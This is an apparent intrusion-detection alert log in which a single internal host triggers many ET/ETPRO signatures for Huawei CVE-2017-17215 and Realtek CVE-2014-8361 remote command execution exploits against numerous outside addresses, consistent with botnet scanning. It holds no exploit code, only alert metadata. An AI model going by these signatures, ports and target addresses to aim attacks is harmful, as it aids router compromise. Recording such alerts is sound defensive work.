07/20/24-23:01:19.196006	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46066	52869	192.168.2.13	77.11.226.101
07/20/24-23:01:04.918465	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33178	37215	192.168.2.13	179.43.198.214
07/20/24-23:01:07.469769	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35408	52869	192.168.2.13	85.119.116.161
07/20/24-23:00:59.020188	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34008	37215	192.168.2.13	197.39.121.171
07/20/24-23:01:27.286229	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44354	37215	192.168.2.13	41.77.125.133
07/20/24-23:01:02.603717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59794	37215	192.168.2.13	157.122.210.70
07/20/24-23:00:59.022701	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51088	37215	192.168.2.13	41.109.79.201
07/20/24-23:01:06.802009	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37266	37215	192.168.2.13	197.234.167.229
07/20/24-23:00:59.022082	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33242	37215	192.168.2.13	41.62.99.32
07/20/24-23:01:06.798361	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37500	37215	192.168.2.13	197.62.26.229
07/20/24-23:01:08.369553	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54520	37215	192.168.2.13	197.38.142.169
07/20/24-23:01:08.455371	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45914	37215	192.168.2.13	197.34.190.111
07/20/24-23:01:07.583103	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34134	52869	192.168.2.13	193.187.192.75
07/20/24-23:01:12.492810	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35366	37215	192.168.2.13	41.7.215.215
07/20/24-23:01:07.212184	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34122	52869	192.168.2.13	72.246.92.233
07/20/24-23:01:05.864031	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57966	52869	192.168.2.13	187.123.127.227
07/20/24-23:01:25.389455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56314	37215	192.168.2.13	157.84.205.54
07/20/24-23:01:14.501229	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39940	52869	192.168.2.13	153.88.175.187
07/20/24-23:01:04.907419	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51860	37215	192.168.2.13	171.62.158.14
07/20/24-23:01:08.386561	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53400	37215	192.168.2.13	197.235.181.130
07/20/24-23:01:25.450878	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39154	37215	192.168.2.13	72.152.49.106
07/20/24-23:01:27.269293	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44822	37215	192.168.2.13	197.235.7.59
07/20/24-23:01:36.781604	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57978	37215	192.168.2.13	131.97.187.110
07/20/24-23:01:06.801747	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36336	37215	192.168.2.13	73.103.230.20
07/20/24-23:01:08.368788	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48678	37215	192.168.2.13	41.10.247.163
07/20/24-23:01:12.490733	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42942	37215	192.168.2.13	157.1.215.159
07/20/24-23:01:22.739029	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47986	37215	192.168.2.13	197.82.200.164
07/20/24-23:01:12.356569	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46248	37215	192.168.2.13	157.47.155.214
07/20/24-23:01:12.374034	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53238	37215	192.168.2.13	157.193.114.61
07/20/24-23:01:36.781770	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42482	37215	192.168.2.13	197.228.185.137
07/20/24-23:01:27.297470	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49986	37215	192.168.2.13	157.44.137.40
07/20/24-23:01:22.749655	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38594	37215	192.168.2.13	41.97.211.251
07/20/24-23:01:12.485458	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39238	37215	192.168.2.13	189.76.224.116
07/20/24-23:01:22.739710	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53906	37215	192.168.2.13	197.14.46.130
07/20/24-23:01:06.800492	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33084	37215	192.168.2.13	197.80.205.190
07/20/24-23:01:15.000888	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58820	37215	192.168.2.13	197.134.23.72
07/20/24-23:00:59.055158	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43270	37215	192.168.2.13	157.202.34.88
07/20/24-23:01:25.389819	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57724	37215	192.168.2.13	180.204.53.247
07/20/24-23:01:36.781139	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47356	37215	192.168.2.13	41.250.242.225
07/20/24-23:01:27.354180	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55814	52869	192.168.2.13	105.237.48.102
07/20/24-23:01:14.513211	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49058	52869	192.168.2.13	125.165.157.181
07/20/24-23:01:14.536691	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48344	52869	192.168.2.13	165.95.243.107
07/20/24-23:01:02.624280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44146	37215	192.168.2.13	157.81.89.101
07/20/24-23:01:14.500796	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36558	52869	192.168.2.13	112.104.240.153
07/20/24-23:01:15.795654	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34910	37215	192.168.2.13	31.56.91.186
07/20/24-23:00:59.020935	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33556	37215	192.168.2.13	157.220.78.185
07/20/24-23:01:27.232388	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50760	37215	192.168.2.13	157.17.29.203
07/20/24-23:01:02.603717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48126	37215	192.168.2.13	197.30.140.44
07/20/24-23:01:14.539913	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37472	52869	192.168.2.13	130.147.77.29
07/20/24-23:01:14.997970	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59724	37215	192.168.2.13	197.31.2.110
07/20/24-23:01:27.222234	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55098	37215	192.168.2.13	157.240.64.102
07/20/24-23:01:06.215874	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46252	52869	192.168.2.13	221.85.136.10
07/20/24-23:00:59.021338	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53836	37215	192.168.2.13	157.231.4.197
07/20/24-23:01:04.870311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37308	37215	192.168.2.13	41.130.95.204
07/20/24-23:00:59.021201	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50462	37215	192.168.2.13	157.161.52.19
07/20/24-23:01:32.203847	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33510	37215	192.168.2.13	135.53.17.181
07/20/24-23:01:14.546163	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55464	52869	192.168.2.13	144.53.119.5
07/20/24-23:01:27.352669	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51442	52869	192.168.2.13	212.178.98.236
07/20/24-23:01:08.392907	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43728	37215	192.168.2.13	197.22.169.206
07/20/24-23:01:02.613619	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37284	37215	192.168.2.13	14.117.126.33
07/20/24-23:01:04.858015	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54214	37215	192.168.2.13	183.67.166.218
07/20/24-23:01:04.874131	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49930	37215	192.168.2.13	41.9.140.35
07/20/24-23:00:59.020509	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58098	37215	192.168.2.13	197.124.222.24
07/20/24-23:01:36.793382	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35516	37215	192.168.2.13	41.203.51.193
07/20/24-23:01:12.483526	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44844	37215	192.168.2.13	41.174.108.240
07/20/24-23:01:05.795470	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60280	52869	192.168.2.13	126.66.84.101
07/20/24-23:01:22.737455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49236	37215	192.168.2.13	41.169.214.128
07/20/24-23:01:25.389307	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52132	37215	192.168.2.13	157.40.53.0
07/20/24-23:01:14.998444	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52720	37215	192.168.2.13	14.4.167.173
07/20/24-23:00:59.055000	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49580	37215	192.168.2.13	157.82.209.252
07/20/24-23:01:05.132175	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59934	52869	192.168.2.13	48.113.240.162
07/20/24-23:01:04.879348	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42624	37215	192.168.2.13	157.173.199.42
07/20/24-23:01:27.277398	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54598	37215	192.168.2.13	41.177.137.53
07/20/24-23:02:06.594057	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43342	37215	192.168.2.13	157.43.44.167
07/20/24-23:01:27.276711	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40942	37215	192.168.2.13	41.143.112.34
07/20/24-23:01:22.791882	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41854	37215	192.168.2.13	155.208.39.65
07/20/24-23:01:05.470942	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38542	52869	192.168.2.13	172.51.83.216
07/20/24-23:01:12.533731	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34720	37215	192.168.2.13	157.84.182.36
07/20/24-23:00:59.022701	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42216	37215	192.168.2.13	197.73.217.175
07/20/24-23:01:15.708682	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50820	52869	192.168.2.13	96.235.29.144
07/20/24-23:01:14.570907	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60452	52869	192.168.2.13	50.236.24.191
07/20/24-23:01:25.460589	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37326	37215	192.168.2.13	139.174.115.167
07/20/24-23:01:36.781603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45842	37215	192.168.2.13	41.101.46.186
07/20/24-23:01:08.381624	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34646	37215	192.168.2.13	189.193.127.127
07/20/24-23:01:36.781139	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38422	37215	192.168.2.13	197.235.158.52
07/20/24-23:00:59.020786	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58506	37215	192.168.2.13	157.15.177.153
07/20/24-23:01:22.740154	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59166	37215	192.168.2.13	181.246.127.53
07/20/24-23:01:02.703502	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60068	37215	192.168.2.13	197.52.49.166
07/20/24-23:01:04.848605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52358	37215	192.168.2.13	197.103.24.251
07/20/24-23:01:17.798948	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44254	37215	192.168.2.13	41.44.29.75
07/20/24-23:01:12.553660	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60812	37215	192.168.2.13	157.24.233.95
07/20/24-23:01:36.847780	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43534	37215	192.168.2.13	213.81.191.191
07/20/24-23:00:59.019395	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35940	37215	192.168.2.13	157.3.21.190
07/20/24-23:01:19.974127	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56448	52869	192.168.2.13	124.217.207.199
07/20/24-23:01:06.806392	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52828	37215	192.168.2.13	41.132.133.64
07/20/24-23:01:32.202245	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42600	37215	192.168.2.13	197.35.150.239
07/20/24-23:01:08.383417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34102	37215	192.168.2.13	41.136.49.246
07/20/24-23:01:21.019040	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59282	52869	192.168.2.13	101.150.57.159
07/20/24-23:01:12.495795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38778	37215	192.168.2.13	197.63.61.122
07/20/24-23:01:12.504870	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52320	37215	192.168.2.13	41.139.31.193
07/20/24-23:01:02.685656	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59598	37215	192.168.2.13	197.137.132.163
07/20/24-23:01:04.892375	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41596	37215	192.168.2.13	197.130.192.147
07/20/24-23:01:22.810316	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39998	37215	192.168.2.13	197.72.120.35
07/20/24-23:01:12.358593	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43312	37215	192.168.2.13	213.247.132.243
07/20/24-23:01:22.812907	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56214	37215	192.168.2.13	157.16.242.169
07/20/24-23:01:25.390486	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49506	37215	192.168.2.13	41.217.111.180
07/20/24-23:01:08.368788	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34154	37215	192.168.2.13	157.199.241.114
07/20/24-23:01:06.351864	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60378	52869	192.168.2.13	219.0.14.247
07/20/24-23:01:08.464559	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38700	37215	192.168.2.13	23.208.206.64
07/20/24-23:01:32.208939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39912	37215	192.168.2.13	47.59.243.141
07/20/24-23:01:14.542853	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51494	52869	192.168.2.13	53.36.224.51
07/20/24-23:01:32.199190	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58620	37215	192.168.2.13	157.223.234.248
07/20/24-23:01:04.867862	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51116	37215	192.168.2.13	157.15.187.56
07/20/24-23:01:36.862442	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53402	37215	192.168.2.13	197.242.121.162
07/20/24-23:00:59.022667	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55064	37215	192.168.2.13	197.145.164.25
07/20/24-23:00:59.020685	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49466	37215	192.168.2.13	157.231.126.250
07/20/24-23:01:05.562396	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37354	52869	192.168.2.13	211.247.29.248
07/20/24-23:01:25.388995	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45916	37215	192.168.2.13	157.144.27.108
07/20/24-23:01:36.846304	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33794	37215	192.168.2.13	197.163.90.176
07/20/24-23:01:14.544045	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37006	52869	192.168.2.13	109.242.201.39
07/20/24-23:01:08.392907	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45870	37215	192.168.2.13	71.97.252.40
07/20/24-23:01:06.827198	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32768	37215	192.168.2.13	157.228.41.92
07/20/24-23:01:03.882590	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40844	52869	192.168.2.13	166.157.8.210
07/20/24-23:01:08.391767	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50078	37215	192.168.2.13	157.86.44.147
07/20/24-23:01:06.812907	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54196	37215	192.168.2.13	157.225.176.9
07/20/24-23:01:02.601732	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38052	37215	192.168.2.13	41.195.201.112
07/20/24-23:01:07.450482	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43680	52869	192.168.2.13	165.40.111.49
07/20/24-23:01:15.000440	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52346	37215	192.168.2.13	197.204.132.126
07/20/24-23:01:02.661070	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47232	37215	192.168.2.13	157.38.182.214
07/20/24-23:01:06.805919	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59466	37215	192.168.2.13	197.77.149.119
07/20/24-23:01:14.513053	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48524	52869	192.168.2.13	80.226.91.150
07/20/24-23:01:36.850221	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37712	37215	192.168.2.13	41.117.156.181
07/20/24-23:01:02.699256	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53848	37215	192.168.2.13	41.170.121.130
07/20/24-23:01:12.356738	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57084	37215	192.168.2.13	197.172.181.194
07/20/24-23:01:06.801747	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45132	37215	192.168.2.13	204.248.242.165
07/20/24-23:01:04.189873	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38834	52869	192.168.2.13	130.206.211.129
07/20/24-23:01:05.850964	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58142	52869	192.168.2.13	9.231.7.210
07/20/24-23:01:12.485954	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46684	37215	192.168.2.13	51.138.200.142
07/20/24-23:01:04.996112	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42384	52869	192.168.2.13	143.236.166.197
07/20/24-23:01:25.391404	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48894	37215	192.168.2.13	41.113.162.101
07/20/24-23:01:06.820921	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47066	37215	192.168.2.13	157.250.169.127
07/20/24-23:01:32.203847	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59048	37215	192.168.2.13	123.80.84.34
07/20/24-23:01:27.361793	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60064	52869	192.168.2.13	134.45.224.216
07/20/24-23:01:02.624280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55636	37215	192.168.2.13	197.95.163.59
07/20/24-23:01:19.597930	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36964	52869	192.168.2.13	163.251.53.210
07/20/24-23:01:38.795028	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36368	52869	192.168.2.13	187.26.97.109
07/20/24-23:01:22.748660	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36276	37215	192.168.2.13	61.74.229.54
07/20/24-23:01:17.798948	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58324	37215	192.168.2.13	41.191.211.246
07/20/24-23:00:59.020587	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60718	37215	192.168.2.13	197.190.172.118
07/20/24-23:01:22.741097	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41210	37215	192.168.2.13	41.223.153.77
07/20/24-23:01:06.804996	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44872	37215	192.168.2.13	41.90.120.141
07/20/24-23:01:14.530140	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51548	52869	192.168.2.13	4.4.167.103
07/20/24-23:01:14.533681	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46118	52869	192.168.2.13	186.203.154.108
07/20/24-23:01:02.613456	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51784	37215	192.168.2.13	197.33.169.56
07/20/24-23:01:06.544900	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43130	52869	192.168.2.13	141.36.128.134
07/20/24-23:01:08.386561	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58218	37215	192.168.2.13	145.152.149.135
07/20/24-23:01:06.804996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58982	37215	192.168.2.13	157.81.140.247
07/20/24-23:01:04.853320	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33200	37215	192.168.2.13	197.54.201.107
07/20/24-23:00:59.021825	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39374	37215	192.168.2.13	41.194.84.193
07/20/24-23:01:02.603717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47084	37215	192.168.2.13	197.151.215.75
07/20/24-23:01:14.525838	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49290	52869	192.168.2.13	136.164.189.225
07/20/24-23:01:02.669609	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46646	37215	192.168.2.13	125.124.24.16
07/20/24-23:01:06.806392	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54820	37215	192.168.2.13	223.12.56.51
07/20/24-23:01:17.779183	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33254	37215	192.168.2.13	157.173.88.176
07/20/24-23:01:06.635348	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45350	52869	192.168.2.13	148.242.181.53
07/20/24-23:01:02.624280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54392	37215	192.168.2.13	198.40.74.18
07/20/24-23:01:04.758874	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36080	52869	192.168.2.13	175.10.79.147
07/20/24-23:01:36.850220	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43492	37215	192.168.2.13	205.156.139.74
07/20/24-23:01:05.772057	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58380	52869	192.168.2.13	191.214.228.151
07/20/24-23:01:27.354949	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51096	52869	192.168.2.13	77.121.237.8
07/20/24-23:01:04.858015	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59500	37215	192.168.2.13	41.24.241.194
07/20/24-23:00:59.021908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56090	37215	192.168.2.13	220.90.88.236
07/20/24-23:01:02.628234	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37016	37215	192.168.2.13	197.123.108.99
07/20/24-23:01:14.558193	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60966	52869	192.168.2.13	80.49.148.206
07/20/24-23:01:05.623019	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39716	52869	192.168.2.13	83.224.119.168
07/20/24-23:00:59.020086	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38898	37215	192.168.2.13	104.8.73.49
